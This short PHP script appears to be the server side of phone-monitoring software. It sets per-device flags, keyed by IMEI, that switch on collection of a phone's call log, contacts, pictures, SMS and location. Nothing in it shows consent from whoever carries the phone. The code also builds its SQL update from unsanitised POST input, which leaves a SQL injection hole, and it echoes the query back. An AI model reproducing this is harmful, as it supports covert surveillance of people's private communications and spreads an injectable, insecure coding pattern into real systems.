<?php
include('dbconnect.php');

$imei = isset($_POST['imei'])? $_POST['imei'] : '';
$flag = isset($_POST['flag'])? $_POST['flag'] : '0';
$kind = isset($_POST['kind'])? $_POST['kind'] : '';
if($imei && $kind){
	$sql = "update tb_command set";
	switch($kind)
	{
		case "listen":
			$sql .= " is_calllog='".$flag;
			break;
		case "contact":
			$sql .= " is_contact='".$flag;
			break;
		case "pic":
			$sql .= " is_pics='".$flag;
			break;
		case "sms":
			$sql .= " is_sms='".$flag;
			break;
		case "map":
			$sql .= " is_location='".$flag;
			break;
	}
	$sql .= "', rv_flags='0' where imei='".$imei."'";
	echo $sql;
	mysql_query($sql);
}

?>